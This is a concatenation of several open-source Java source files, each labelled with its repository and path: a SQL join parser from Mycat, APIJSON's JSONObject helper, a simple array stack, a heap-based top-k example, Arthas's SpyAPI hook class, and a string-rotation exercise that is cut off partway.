LOGGER.info("master "+masterTable); // LOGGER.info("join Lkey "+getJoinLkey()); // LOGGER.info("join Rkey "+getJoinRkey()); LOGGER.info("SQL: "+this.stmt); } private void parserTable(SQLTableSource table,TableFilter tFilter,boolean isOutJoin){ if(table instanceof SQLJoinTableSource){ SQLJoinTableSource table1=(SQLJoinTableSource)table; joinType=table1.getJoinType().toString(); if ((table1.getJoinType()==JoinType.COMMA)||(table1.getJoinType()==JoinType.JOIN)||(table1.getJoinType()==JoinType.INNER_JOIN) ||(table1.getJoinType()==JoinType.LEFT_OUTER_JOIN)) { tFilter=setTableFilter(tFilter,getTableFilter(table1.getLeft(),isOutJoin)); if (tableFilter==null){ tableFilter=tFilter; } } //parserTable(table1.getLeft()); //SQLExprTableSource parserTable(table1.getRight(),tFilter,true); SQLExpr expr=table1.getCondition();//SQLBinaryOpExpr parserJoinKey(expr); } else { tFilter=setTableFilter(tFilter,getTableFilter(table,isOutJoin)); LOGGER.info("table "+table.toString() +" Alias:"+table.getAlias()+" Hints:"+table.getHints()); } } private TableFilter setTableFilter(TableFilter tFilter,TableFilter newFilter){ if (tFilter==null) { tFilter=newFilter; return tFilter; } else { tFilter.setTableJoin(newFilter); return tFilter.getTableJoin(); } } private TableFilter getTableFilter(SQLTableSource table,boolean isOutJoin){ String key ; String value = table.toString().trim(); if (table.getAlias()==null) { key=value; } else { key = table.getAlias().trim(); } return new TableFilter(value,key,isOutJoin); } private void parserJoinKey(SQLExpr expr){ if (expr==null) { return; } parserWhere(expr,""); } private String getExprFieldName(SQLAggregateExpr expr){ StringBuilder field = new StringBuilder(); for (SQLExpr item :expr.getArguments()){ field.append(item.toString()); } return expr.getMethodName()+"("+field.toString()+")"; } private String getFieldName(SQLSelectItem item){ if (item.getExpr() instanceof SQLPropertyExpr) { return item.getExpr().toString();//字段别名 } else { return item.toString(); } } private String getMethodInvokeFieldName(SQLSelectItem item){ SQLMethodInvokeExpr invoke = (SQLMethodInvokeExpr)item.getExpr(); List<SQLExpr> itemExprs = invoke.getParameters(); for(SQLExpr itemExpr:itemExprs){ if (itemExpr instanceof SQLPropertyExpr) { return itemExpr.toString();//字段别名 } } return item.toString(); } private void parserFields(List<SQLSelectItem> mysqlSelectList){ //显示的字段 String key=""; String value =""; String exprfield = ""; for(SQLSelectItem item : mysqlSelectList) { if (item.getExpr() instanceof SQLAllColumnExpr) { //*解析 setField(item.toString(), item.toString()); } else { if (item.getExpr() instanceof SQLAggregateExpr) { SQLAggregateExpr expr =(SQLAggregateExpr)item.getExpr(); key = getExprFieldName(expr); setField(key, value); }else if(item.getExpr() instanceof SQLMethodInvokeExpr){ key = getMethodInvokeFieldName(item); exprfield=getFieldName(item); // value=item.getAlias(); setField(key, value,exprfield); }else { key=getFieldName(item); value=item.getAlias(); setField(key, value); } } } } private void setField(String key,String value){ //fieldAliasMap.put(key, value); if (tableFilter!=null){ tableFilter.addField(key, value); } } private void setField(String key,String value,String expr){ //fieldAliasMap.put(key, value); if (tableFilter!=null){ tableFilter.addField(key, value,expr); } } //判断并获得主表 private void parserMasterTable(){ if (tableFilter!=null){ masterTable=tableFilter.getTableAlia(); } } private boolean checkJoinField(String value){ if (value==null){ return false; } else { int i=value.indexOf('.'); return i>0; } } //解析 a.field = b.field private void parserWhere(SQLExpr aexpr,String Operator){ if (aexpr==null) { return; } if (aexpr instanceof SQLBinaryOpExpr){ SQLBinaryOpExpr expr=(SQLBinaryOpExpr)aexpr; SQLExpr exprL=expr.getLeft(); if (!(exprL instanceof SQLBinaryOpExpr)) { opSQLExpr((SQLBinaryOpExpr)aexpr,Operator); } else { // if (expr.getOperator().getName().equals("AND")) { if (expr.getOperator()==SQLBinaryOperator.BooleanAnd) { //parserWhere(exprL); //parserWhere(expr.getRight()); andorWhere(exprL,expr.getOperator().getName(),expr.getRight()); } else if (expr.getOperator()==SQLBinaryOperator.BooleanOr){//.getName().equals("OR")) { andorWhere(exprL,expr.getOperator().getName(),expr.getRight()); } else { throw new RuntimeException("Can't identify the operation of of where"); } } }else if(aexpr instanceof SQLInListExpr){ SQLInListExpr expr = (SQLInListExpr)aexpr; SQLExpr exprL = expr.getExpr(); String field=exprL.toString(); tableFilter.addWhere(field, SQLUtils.toMySqlString(expr), Operator); } } private void andorWhere(SQLExpr exprL,String Operator,SQLExpr exprR ){ parserWhere(exprL,""); parserWhere(exprR,Operator); } private void opSQLExpr(SQLBinaryOpExpr expr,String Operator) { if (expr==null) { return; } SQLExpr exprL=expr.getLeft(); if (!(exprL instanceof SQLBinaryOpExpr)) { String field=exprL.toString(); //获取表达式 左边的值 String value=getExpValue(expr.getRight()).toString(); //获取表达式右边的值 if (expr.getOperator()==SQLBinaryOperator.Equality) { if (checkJoinField(value)) {//设置joinKey //joinLkey=field; //joinRkey=value; tableFilter.setJoinKey(field,value); } else { tableFilter.addWhere(field, value, expr.getOperator().getName(), Operator); } } else { tableFilter.addWhere(field, value, expr.getOperator().getName(), Operator); } } } private Object getExpValue(SQLExpr expr){ if (expr instanceof SQLIntegerExpr){ return ((SQLIntegerExpr)expr).getNumber().longValue(); } if (expr instanceof SQLNumberExpr){ return ((SQLNumberExpr)expr).getNumber().doubleValue(); } if (expr instanceof SQLCharExpr){ String va=((SQLCharExpr)expr).toString(); return va;//remove(va,'\''); } if (expr instanceof SQLBooleanExpr){ return ((SQLBooleanExpr)expr).getValue(); } if (expr instanceof SQLNullExpr){ return null; } return expr; } private void parserOrderBy(SQLOrderBy orderby) { if (orderby != null ){ for (int i = 0; i < orderby.getItems().size(); i++) { SQLSelectOrderByItem orderitem = orderby.getItems().get(i); tableFilter.addOrders(i, orderitem.getExpr().toString(), getSQLExprToAsc(orderitem.getType())); } } } private void parserLimit(){ int limitoff=0; int limitnum=0; if (this.mysqlQuery.getLimit()!=null) { limitoff=getSQLExprToInt(this.mysqlQuery.getLimit().getOffset()); limitnum=getSQLExprToInt(this.mysqlQuery.getLimit().getRowCount()); tableFilter.addLimit(limitoff,limitnum); } } private int getSQLExprToInt(SQLExpr expr){ if (expr instanceof SQLIntegerExpr){ return ((SQLIntegerExpr)expr).getNumber().intValue(); } return 0; } private String getSQLExprToAsc(SQLOrderingSpecification ASC){ if (ASC==null ) { return " ASC "; } if (ASC==SQLOrderingSpecification.DESC){ return " DESC "; } else { return " ASC "; } } public String getChildSQL(){ //String sql="select "+joinRkey+","+sql+" from "+mtable+" where "+joinRkey+" in "; String sql=tableFilter.getTableJoin().getSQL(); return sql; } public String getSql(){ stmt=tableFilter.getSQL(); return stmt; } public String getJoinType(){ return joinType; } public String getJoinLkey(){ return tableFilter.getJoinKey(true); } public String getJoinRkey(){ return tableFilter.getJoinKey(false); } //返回a表排序的字段 public LinkedHashMap<String, Integer> getOrderByCols(){ return tableFilter.getOrderByCols(); } //返回b表排序的字段 public LinkedHashMap<String, Integer> getChildByCols(){ return tableFilter.getTableJoin().getOrderByCols(); } //是否有order 排序 public boolean hasOrder() { return tableFilter.getOrderByCols().size() > 0 || tableFilter.getTableJoin().getOrderByCols().size() > 0; } /* * limit 的 start*/ public int getOffset() { return tableFilter.getOffset(); } /* * limit 的 rowCount*/ public int getRowCount() { return tableFilter.getRowCount(); } /* * 是否有limit 输出。 */ public boolean hasLimit() { return tableFilter.getOffset() > 0 || tableFilter.getRowCount() > 0 ; } }
MyCATApache/Mycat-Server
src/main/java/io/mycat/catlets/JoinParser.java
36
/*Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved. This source code is licensed under the Apache License Version 2.0.*/ package apijson; import java.util.ArrayList; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; /**use this class instead of com.alibaba.fastjson.JSONObject * @author Lemon * @see #put * @see #puts * @see #putsAll */ public class JSONObject extends com.alibaba.fastjson.JSONObject { private static final long serialVersionUID = 1L; private static final String TAG = "JSONObject"; /**ordered */ public JSONObject() { super(true); } /**transfer Object to JSONObject * @param object * @see {@link #JSONObject(Object)} */ public JSONObject(Object object) { this(toJSONString(object)); } /**parse JSONObject with JSON String * @param json * @see {@link #JSONObject(String)} */ public JSONObject(String json) { this(parseObject(json)); } /**transfer com.alibaba.fastjson.JSONObject to JSONObject * @param object * @see {@link #putsAll(Map<? extends String, ? extends Object>)} */ public JSONObject(com.alibaba.fastjson.JSONObject object) { this(); putsAll(object); } //judge <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< public static final String KEY_ARRAY = "[]"; /**判断是否为Array的key * @param key * @return */ public static boolean isArrayKey(String key) { return key != null && key.endsWith(KEY_ARRAY); } /**判断是否为对应Table的key * @param key * @return */ public static boolean isTableKey(String key) { return StringUtil.isBigName(key); } /**判断是否为对应Table数组的 key * @param key * @return */ public static boolean isTableArray(String key) { return isArrayKey(key) && isTableKey(key.substring(0, key.length() - KEY_ARRAY.length())); } //judge >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //JSONObject内关键词 key <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< public static String KEY_ID = "id"; public static String KEY_ID_IN = KEY_ID + "{}"; public static String KEY_USER_ID = "userId"; public static String KEY_USER_ID_IN = KEY_USER_ID + "{}"; /**set "id":id in Table layer * @param id * @return */ public JSONObject setId(Long id) { return puts(KEY_ID, id); } /**set "id{}":[] in Table layer * @param list * @return */ public JSONObject setIdIn(List<Object> list) { return puts(KEY_ID_IN, list); } /**set "userId":userId in Table layer * @param id * @return */ public JSONObject setUserId(Long id) { return puts(KEY_USER_ID, id); } /**set "userId{}":[] in Table layer * @param list * @return */ public JSONObject setUserIdIn(List<Object> list) { return puts(KEY_USER_ID_IN, list); } public static final int CACHE_ALL = 0; public static final int CACHE_ROM = 1; public static final int CACHE_RAM = 2; public static final String CACHE_ALL_STRING = "ALL"; public static final String CACHE_ROM_STRING = "ROM"; public static final String CACHE_RAM_STRING = "RAM"; //@key关键字都放这个类 <<<<<<<<<<<<<<<<<<<<<< public static final String KEY_TRY = "@try"; //尝试,忽略异常 public static final String KEY_CATCH = "@catch"; //TODO 捕捉到异常后,处理方式 null-不处理;DEFAULT-返回默认值;ORIGIN-返回请求里的原始值 public static final String KEY_DROP = "@drop"; //丢弃,不返回,TODO 应该通过 fastjson 的 ignore 之类的机制来处理,避免导致下面的对象也不返回 // public static final String KEY_KEEP = "@keep"; //一定会返回,为 null 或 空对象时,会使用默认值(非空),解决其它对象因为不关联的第一个对为空导致也不返回 public static final String KEY_DEFULT = "@default"; //TODO 自定义默认值 { "@default":true },@default 可完全替代 @keep public static final String KEY_NULL = "@null"; //TODO 值为 null 的键值对 "@null":"tag,pictureList",允许 is NULL 条件判断, SET tag = NULL 修改值为 NULL 等 public static final String KEY_CAST = "@cast"; //TODO 类型转换 cast(date AS DATE) public static final String KEY_ROLE = "@role"; //角色,拥有对某些数据的某些操作的权限 public static final String KEY_DATABASE = "@database"; //数据库类型,默认为MySQL public static final String KEY_SCHEMA = "@schema"; //数据库,Table在非默认schema内时需要声明 public static final String KEY_DATASOURCE = "@datasource"; //数据源 public static final String KEY_EXPLAIN = "@explain"; //分析 true/false public static final String KEY_CACHE = "@cache"; //缓存 RAM/ROM/ALL public static final String KEY_COLUMN = "@column"; //查询的Table字段或SQL函数 public static final String KEY_FROM = "@from"; //FROM语句 public static final String KEY_COMBINE = "@combine"; //条件组合,每个条件key前面可以放&,|,!逻辑关系 "id!{},&sex,!name&$" public static final String KEY_GROUP = "@group"; //分组方式 public static final String KEY_HAVING = "@having"; //聚合函数条件,一般和@group一起用 public static final String KEY_HAVING_AND = "@having&"; //聚合函数条件,一般和@group一起用 public static final String KEY_ORDER = "@order"; //排序方式 public static final String KEY_KEY = "@key"; // key 映射,year:left(date,4);name_tag:(name,tag) public static final String KEY_RAW = "@raw"; // 自定义原始 SQL 片段 public static final String KEY_JSON = "@json"; //SQL Server 把字段转为 JSON 输出 public static final String KEY_METHOD = "@method"; // json 对象配置操作方法 public static final String KEY_GET = "@get"; // json 对象配置操作方法 public static final String KEY_GETS = "@gets"; // json 对象配置操作方法 public static final String KEY_HEAD = "@head"; // json 对象配置操作方法 public static final String KEY_HEADS = "@heads"; // json 对象配置操作方法 public static final String KEY_POST = "@post"; // json 对象配置操作方法 public static final String KEY_PUT = "@put"; // json 对象配置操作方法 public static final String KEY_DELETE = "@delete"; // json 对象配置操作方法 public static final Map<String, RequestMethod> KEY_METHOD_ENUM_MAP; public static final List<String> TABLE_KEY_LIST; static { TABLE_KEY_LIST = new ArrayList<String>(); TABLE_KEY_LIST.add(KEY_ROLE); TABLE_KEY_LIST.add(KEY_DATABASE); TABLE_KEY_LIST.add(KEY_SCHEMA); TABLE_KEY_LIST.add(KEY_DATASOURCE); TABLE_KEY_LIST.add(KEY_EXPLAIN); TABLE_KEY_LIST.add(KEY_CACHE); TABLE_KEY_LIST.add(KEY_COLUMN); TABLE_KEY_LIST.add(KEY_FROM); TABLE_KEY_LIST.add(KEY_NULL); TABLE_KEY_LIST.add(KEY_CAST); TABLE_KEY_LIST.add(KEY_COMBINE); TABLE_KEY_LIST.add(KEY_GROUP); TABLE_KEY_LIST.add(KEY_HAVING); TABLE_KEY_LIST.add(KEY_HAVING_AND); TABLE_KEY_LIST.add(KEY_ORDER); TABLE_KEY_LIST.add(KEY_KEY); TABLE_KEY_LIST.add(KEY_RAW); TABLE_KEY_LIST.add(KEY_JSON); TABLE_KEY_LIST.add(KEY_METHOD); TABLE_KEY_LIST.add(KEY_GET); TABLE_KEY_LIST.add(KEY_GETS); TABLE_KEY_LIST.add(KEY_HEAD); TABLE_KEY_LIST.add(KEY_HEADS); TABLE_KEY_LIST.add(KEY_POST); TABLE_KEY_LIST.add(KEY_PUT); TABLE_KEY_LIST.add(KEY_DELETE); KEY_METHOD_ENUM_MAP = new LinkedHashMap<>(); KEY_METHOD_ENUM_MAP.put(KEY_GET, RequestMethod.GET); KEY_METHOD_ENUM_MAP.put(KEY_GETS, RequestMethod.GETS); KEY_METHOD_ENUM_MAP.put(KEY_HEAD, RequestMethod.HEAD); KEY_METHOD_ENUM_MAP.put(KEY_HEADS, RequestMethod.HEADS); KEY_METHOD_ENUM_MAP.put(KEY_POST, RequestMethod.POST); KEY_METHOD_ENUM_MAP.put(KEY_PUT, RequestMethod.PUT); KEY_METHOD_ENUM_MAP.put(KEY_DELETE, RequestMethod.DELETE); } //@key关键字都放这个类 >>>>>>>>>>>>>>>>>>>>>> /**set try, ignore exceptions * @param tri * @return this */ public JSONObject setTry(Boolean tri) { return puts(KEY_TRY, tri); } /**set catch * @param isCatch * @return this */ public JSONObject setCatch(String isCatch) { return puts(KEY_CATCH, isCatch); } /**set drop, data dropped will not return * @param drop * @return this */ public JSONObject setDrop(Boolean drop) { return puts(KEY_DROP, drop); } /**set if has default * @param hasDefault * @return this */ public JSONObject setDefault(Boolean hasDefault) { return puts(KEY_DEFULT, hasDefault); } /**set role of request sender * @param role * @return this */ public JSONObject setRole(String role) { return puts(KEY_ROLE, role); } /**set database where table was puts * @param database * @return this */ public JSONObject setDatabase(String database) { return puts(KEY_DATABASE, database); } /**set schema where table was puts * @param schema * @return this */ public JSONObject setSchema(String schema) { return puts(KEY_SCHEMA, schema); } /**set datasource where table was puts * @param datasource * @return this */ public JSONObject setDatasource(String datasource) { return puts(KEY_DATASOURCE, datasource); } /**set if return explain informations * @param explain * @return */ public JSONObject setExplain(Boolean explain) { return puts(KEY_EXPLAIN, explain); } /**set cache type * @param cache * @return * @see {@link #CACHE_ALL} * @see {@link #CACHE_RAM} * @see {@link #CACHE_ROM} */ public JSONObject setCache(Integer cache) { return puts(KEY_CACHE, cache); } /**set cache type * @param cache * @return * @see {@link #CACHE_ALL_STRING} * @see {@link #CACHE_RAM_STRING} * @see {@link #CACHE_ROM_STRING} */ public JSONObject setCache(String cache) { return puts(KEY_CACHE, cache); } /**set keys need to be returned * @param keys key0, key1, key2 ... * @return {@link #setColumn(String)} */ public JSONObject setColumn(String... keys) { return setColumn(StringUtil.getString(keys, true)); } /**set keys need to be returned * @param keys "key0,key1,key2..." * @return */ public JSONObject setColumn(String keys) { return puts(KEY_COLUMN, keys); } /**set keys whose value is null * @param keys key0, key1, key2 ... * @return {@link #setNull(String)} */ public JSONObject setNull(String... keys) { return setNull(StringUtil.getString(keys, true)); } /**set keys whose value is null * @param keys "key0,key1,key2..." * @return */ public JSONObject setNull(String keys) { return puts(KEY_NULL, keys); } /**set keys and types whose value should be cast to type, cast(value AS DATE) * @param keyTypes key0:type0, key1:type1, key2:type2 ... * @return {@link #setCast(String)} */ public JSONObject setCast(String... keyTypes) { return setCast(StringUtil.getString(keyTypes, true)); } /**set keys and types whose value should be cast to type, cast(value AS DATE) * @param keyTypes "key0:type0,key1:type1,key2:type2..." * @return */ public JSONObject setCast(String keyTypes) { return puts(KEY_CAST, keyTypes); } /**set combination of keys for conditions * @param keys key0,&key1,|key2,!key3 ... TODO or key0> | (key1{} & !key2)... * @return {@link #setColumn(String)} */ public JSONObject setCombine(String... keys) { return setCombine(StringUtil.getString(keys, true)); } /**set combination of keys for conditions * @param keys key0,&key1,|key2,!key3 ... TODO or key0> | (key1{} & !key2)... * @return */ public JSONObject setCombine(String keys) { return puts(KEY_COMBINE, keys); } /**set keys for group by * @param keys key0, key1, key2 ... * @return {@link #setGroup(String)} */ public JSONObject setGroup(String... keys) { return setGroup(StringUtil.getString(keys, true)); } /**set keys for group by * @param keys "key0,key1,key2..." * @return */ public JSONObject setGroup(String keys) { return puts(KEY_GROUP, keys); } /**set keys for having * @param keys count(key0) > 1, sum(key1) <= 5, function2(key2) ? value2 ... * @return {@link #setHaving(String)} */ public JSONObject setHaving(String... keys) { return setHaving(StringUtil.getString(keys, true)); } /**set keys for having * @param keys "key0,key1,key2..." * @return */ public JSONObject setHaving(String keys) { return setHaving(keys, false); } /**set keys for having * @param keys "key0,key1,key2..." * @return */ public JSONObject setHaving(String keys, boolean isAnd) { return puts(isAnd ? KEY_HAVING_AND : KEY_HAVING, keys); } /**set keys for order by * @param keys key0, key1+, key2- ... * @return {@link #setOrder(String)} */ public JSONObject setOrder(String... keys) { return setOrder(StringUtil.getString(keys, true)); } /**set keys for order by * @param keys "key0,key1+,key2-..." * @return */ public JSONObject setOrder(String keys) { return puts(KEY_ORDER, keys); } /**set key map * @param keyMap "name_tag:(name,tag);year:left(date,1,5)..." * @return */ public JSONObject setKey(String keyMap) { return puts(KEY_KEY, keyMap); } /**set keys to raw * @param keys "key0,key1,key2..." * @return */ public JSONObject setRaw(String keys) { return puts(KEY_RAW, keys); } /**set keys to cast to json * @param keys "key0,key1,key2..." * @return */ public JSONObject setJson(String keys) { return puts(KEY_JSON, keys); } //JSONObject内关键词 key >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //Request <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /** * @param key * @param keys path = keys[0] + "/" + keys[1] + "/" + keys[2] + ... * @return {@link #puts(String, Object)} */ public JSONObject putsPath(String key, String... keys) { return puts(key+"@", StringUtil.getString(keys, "/")); } /** * @param key * @param isNull * @return {@link #puts(String, Object)} */ public JSONObject putsNull(String key, boolean isNull) { return puts(key+"{}", SQL.isNull(isNull)); } /** * trim = false * @param key * @param isEmpty * @return {@link #putsEmpty(String, boolean, boolean)} */ public JSONObject putsEmpty(String key, boolean isEmpty) { return putsEmpty(key, isEmpty, false); } /** * @param key * @param isEmpty * @return {@link #puts(String, Object)} */ public JSONObject putsEmpty(String key, boolean isEmpty, boolean trim) { return puts(key+"{}", SQL.isEmpty(key, isEmpty, trim)); } /** * @param key * @param compare <=0, >5 ... * @return {@link #puts(String, Object)} */ public JSONObject putsLength(String key, String compare) { return puts(key+"{}", SQL.length(key) + compare); } /**设置搜索 * type = SEARCH_TYPE_CONTAIN_FULL * @param key * @param value * @return {@link #putsSearch(String, String, int)} */ public JSONObject putsSearch(String key, String value) { return putsSearch(key, value, SQL.SEARCH_TYPE_CONTAIN_FULL); } /**设置搜索 * @param key * @param value * @param type * @return {@link #puts(String, Object)} */ public JSONObject putsSearch(String key, String value, int type) { return puts(key+"$", SQL.search(value, type)); } //Request >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> /**puts key-value in object into this * @param map * @return this */ public JSONObject putsAll(Map<? extends String, ? extends Object> map) { putAll(map); return this; } @Override public void putAll(Map<? extends String, ? extends Object> map) { if (map != null && map.isEmpty() == false) { super.putAll(map); } } /**put and return this * @param value must be annotated by {@link MethodAccess} * @return {@link #puts(String, Object)} */ public JSONObject puts(Object value) { return puts(null, value); } /**put and return this * @param key * @param value * @return this * @see {@link #put(String, Object)} */ public JSONObject puts(String key, Object value) { put(key, value); return this; } /**put and return value * @param value must be annotated by {@link MethodAccess} * @return {@link #put(String, Object)} */ public Object put(Object value) { return put(null, value); } /**put and return value * @param key StringUtil.isEmpty(key, true) ? key = value.getClass().getSimpleName(); * @param value * @return value */ @Override public Object put(String key, Object value) { if (value == null) { Log.e(TAG, "put value == null >> return null;"); return null; } if (StringUtil.isEmpty(key, true)) { Class<?> clazz = value.getClass(); //should not return null if (clazz.getAnnotation(MethodAccess.class) == null) { throw new IllegalArgumentException("puts StringUtil.isEmpty(key, true)" + " clazz.getAnnotation(MethodAccess.class) == null" + " \n key为空时仅支持 类型被@MethodAccess注解 的value !!!" + " \n 如果一定要这么用,请对 " + clazz.getName() + " 注解!" + " \n 如果是类似 key[]:{} 结构的请求,建议用 putsAll(...) !"); } key = value.getClass().getSimpleName(); } return super.put(key, value); } }
Tencent/APIJSON
APIJSONORM/src/main/java/apijson/JSONObject.java
37
package Stack; /** * 顺序栈(基于数组实现) * Author: PeiJiaNi */ public class StackBaseArray { private int[] items; // 数组 private int count; // 栈中元素个数 private int length; // 栈空间大小 public StackBaseArray(int capactiy) { this.items = new int[capactiy]; this.count = 0; this.length = capactiy; } /** * 入栈操作 时间复杂度O(1) * @param item 要入栈的元素 * @return 入栈成功则返回true,否则返回false */ public boolean push(int item) { if(count == length) { System.out.println("当前栈已满,无法进行入栈操作"); return false; } items[count] = item; ++count; return true; } /** * 出栈操作 时间复杂度O(1) * @return 如果栈内不为空,则返回栈顶元素,否则返回-1 */ public int pop(){ if(count == 0) { System.out.println("当前栈已空,无法进行出栈操作"); return -1; } // 返回下标为 count-1 的数组元素,并且栈中元素个数count-1 return items[--count]; } public static void main(String[] args){ StackBaseArray stack = new StackBaseArray(6); stack.push(1); stack.push(2); stack.push(3); stack.push(4); stack.push(5); System.out.println(stack.pop()); System.out.println(stack.pop()); System.out.println(stack.pop()); System.out.println(stack.pop()); System.out.println(stack.pop()); } }
wangzheng0822/algo
StackBaseArray.java
39
/** * File: top_k.java * Created Time: 2023-06-12 * Author: krahets (krahets@163.com) */ package chapter_heap; import utils.*; import java.util.*; public class top_k { /* 基于堆查找数组中最大的 k 个元素 */ static Queue<Integer> topKHeap(int[] nums, int k) { // 初始化小顶堆 Queue<Integer> heap = new PriorityQueue<Integer>(); // 将数组的前 k 个元素入堆 for (int i = 0; i < k; i++) { heap.offer(nums[i]); } // 从第 k+1 个元素开始,保持堆的长度为 k for (int i = k; i < nums.length; i++) { // 若当前元素大于堆顶元素,则将堆顶元素出堆、当前元素入堆 if (nums[i] > heap.peek()) { heap.poll(); heap.offer(nums[i]); } } return heap; } public static void main(String[] args) { int[] nums = { 1, 7, 6, 3, 2 }; int k = 3; Queue<Integer> res = topKHeap(nums, k); System.out.println("最大的 " + k + " 个元素为"); PrintUtil.printHeap(res); } }
krahets/hello-algo
codes/java/chapter_heap/top_k.java
40
package java.arthas; /** * <pre> * 一个adviceId 是什么呢? 就是一个trace/monitor/watch命令能对应上的一个id,比如一个类某个函数,它的 enter/end/exception 统一是一个id,分配完了就不会再分配。 * * 同样一个method,如果它trace之后,也会有一个 adviceId, 这个method里的所有invoke都是统一处理,认为是一个 adviceId 。 但如果有匹配到不同的 invoke的怎么分配?? * 好像有点难了。。 * * 其实就是把所有可以插入的地方都分类好,那么怎么分类呢?? 或者是叫同一种匹配,就是同一种的 adviceId? * * 比如入参是有 class , method ,是固定的 , 某个行号,或者 某个 * * aop插入的叫 adviceId , command插入的叫 ListenerId? * * * * </pre> * * @author hengyunabc * */ public class SpyAPI { public static final AbstractSpy NOPSPY = new NopSpy(); private static volatile AbstractSpy spyInstance = NOPSPY; public static volatile boolean INITED; public static AbstractSpy getSpy() { return spyInstance; } public static void setSpy(AbstractSpy spy) { spyInstance = spy; } public static void setNopSpy() { setSpy(NOPSPY); } public static boolean isNopSpy() { return NOPSPY == spyInstance; } public static void init() { INITED = true; } public static boolean isInited() { return INITED; } public static void destroy() { setNopSpy(); INITED = false; } public static void atEnter(Class<?> clazz, String methodInfo, Object target, Object[] args) { spyInstance.atEnter(clazz, methodInfo, target, args); } public static void atExit(Class<?> clazz, String methodInfo, Object target, Object[] args, Object returnObject) { spyInstance.atExit(clazz, methodInfo, target, args, returnObject); } public static void atExceptionExit(Class<?> clazz, String methodInfo, Object target, Object[] args, Throwable throwable) { spyInstance.atExceptionExit(clazz, methodInfo, target, args, throwable); } public static void atBeforeInvoke(Class<?> clazz, String invokeInfo, Object target) { spyInstance.atBeforeInvoke(clazz, invokeInfo, target); } public static void atAfterInvoke(Class<?> clazz, String invokeInfo, Object target) { spyInstance.atAfterInvoke(clazz, invokeInfo, target); } public static void atInvokeException(Class<?> clazz, String invokeInfo, Object target, Throwable throwable) { spyInstance.atInvokeException(clazz, invokeInfo, target, throwable); } public static abstract class AbstractSpy { public abstract void atEnter(Class<?> clazz, String methodInfo, Object target, Object[] args); public abstract void atExit(Class<?> clazz, String methodInfo, Object target, Object[] args, Object returnObject); public abstract void atExceptionExit(Class<?> clazz, String methodInfo, Object target, Object[] args, Throwable throwable); public abstract void atBeforeInvoke(Class<?> clazz, String invokeInfo, Object target); public abstract void atAfterInvoke(Class<?> clazz, String invokeInfo, Object target); public abstract void atInvokeException(Class<?> clazz, String invokeInfo, Object target, Throwable throwable); } static class NopSpy extends AbstractSpy { @Override public void atEnter(Class<?> clazz, String methodInfo, Object target, Object[] args) { } @Override public void atExit(Class<?> clazz, String methodInfo, Object target, Object[] args, Object returnObject) { } @Override public void atExceptionExit(Class<?> clazz, String methodInfo, Object target, Object[] args, Throwable throwable) { } @Override public void atBeforeInvoke(Class<?> clazz, String invokeInfo, Object target) { } @Override public void atAfterInvoke(Class<?> clazz, String invokeInfo, Object target) { } @Override public void atInvokeException(Class<?> clazz, String invokeInfo, Object target, Throwable throwable) { } } }
alibaba/arthas
spy/src/main/java/java/arthas/SpyAPI.java
41
package org.yousharp.julycoding.string; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.yousharp.common.ListNode; /** * 1.1 旋转字符串 * (github链接:https://github.com/julycoding/The-Art-Of-Programming-By-July/blob/master/ebook/zh/01.01.md) * * Created by lingguo on 14-6-26. */ public class RotateString { private Logger logger = LoggerFactory.getLogger(this.getClass()); /** * 问题描述: * 给定一个字符串,要求把字符串前面的若干个字符移动到字符串的尾部,如把字符串“abcdef”前面的2个字符'a'和'b'移动到字符串 * 的尾部,使得原字符串变成字符串“cdefab”。请写一个函数完成此功能,要求对长度为n的字符串操作的时间复杂度为 O(n),空间 * 复杂度为 O(1)。 * * 思路: * 三步旋转法:(X^TY^T)^T=YX * * @param str 输入串 * @param n 前n个字符移到串的最后 * @return 翻转后的串 */ public static char[] leftRotateString(char[] str, int n) { char[] rotateLeft = rotate(str, 0, n - 1); char[] rotateRight = rotate(rotateLeft, n, str.length - 1); char[] result = rotate(rotateRight, 0, str.length - 1); return result; } /** * 将字符串翻转 * * @param str 输入串 * @param start 字符串中的起始索引(包括) * @param end 字符串中的终止索引(包括) * @return 翻转后的串 */ private static char[] rotate(char[] str, int start, int end) { while (start < end) { char tmp = str[start]; str[start] = str[end]; str[end] = tmp; start++; end--; } return str; } /*********************************************************************************************************/ /** * 问题描述: * 链表翻转。给出一个链表和一个数k,比如,链表为1→2→3→4→5→6,k=2,则翻转后2→1→6→5→4→3,若k=3,翻转后 * 3→2→1→6→5→4,若k=4,翻转后4→3→2→1→6→5,用程序实现。 * * 思路: * 使用反转链表的思路,将链表的前部分反转,然后将链表的后部分反转,最后将前部分链表的尾节点指向后部分链表的头节点。 * * @param head 链表的头节点 * @param n 将前n个节点反转,剩下的节点反转 * @return 翻转后链表的头节点 */ public static ListNode rotateLinkList(ListNode head, int n) { ListNode leftEnd = head; int i = 0; while (i++ < n) { leftEnd = leftEnd.next; // 左链表的终点 } ListNode leftRotateStart = rotateList(head, leftEnd); // 左部分反转 ListNode rightRotateStart = rotateList(leftEnd, null); // 右部分反转 head.next = rightRotateStart; // 左右部分连接起来 return leftRotateStart; } /** * 将链表从起点start(inclusive)到终点end(exclusive)的节点反转 * * @param start 链表的起点(包括) * @param end 链表的终点(不包括) * @return 反转后链表的头节点 */ private static ListNode rotateList(ListNode start, ListNode end) { ListNode pre = null; ListNode cur = start; ListNode next = cur.next; while (cur != end) { next = cur.next; cur.next = pre; pre = cur; cur = next; } return pre; } /** * 问题描述: * 编写程序,在原字符串中把字符串尾部的m个字符移动到字符串的头部,要求:长度为n的字符串操作时间复杂度为O(n),空间复杂度 * 为O(1)。 例如,原字符串为”Ilovebaofeng”,m=7,输出结果为:”baofengIlove”。 * * 思路: * 与左旋转字符串的思路是一样的; * * @param str 输入串 * @param n 将最后n个字符移到串的最前面 * @return 翻转后的串 */ public static char[] rightRotateString(char[] str, int n) { rotate(str, 0, str.length - n - 1); rotate(str, str.length - n, str.length - 1); char[] result = rotate(str, 0, str.length - 1); return result; } /**********************************************************************************************************/ /** * 问题描述: * 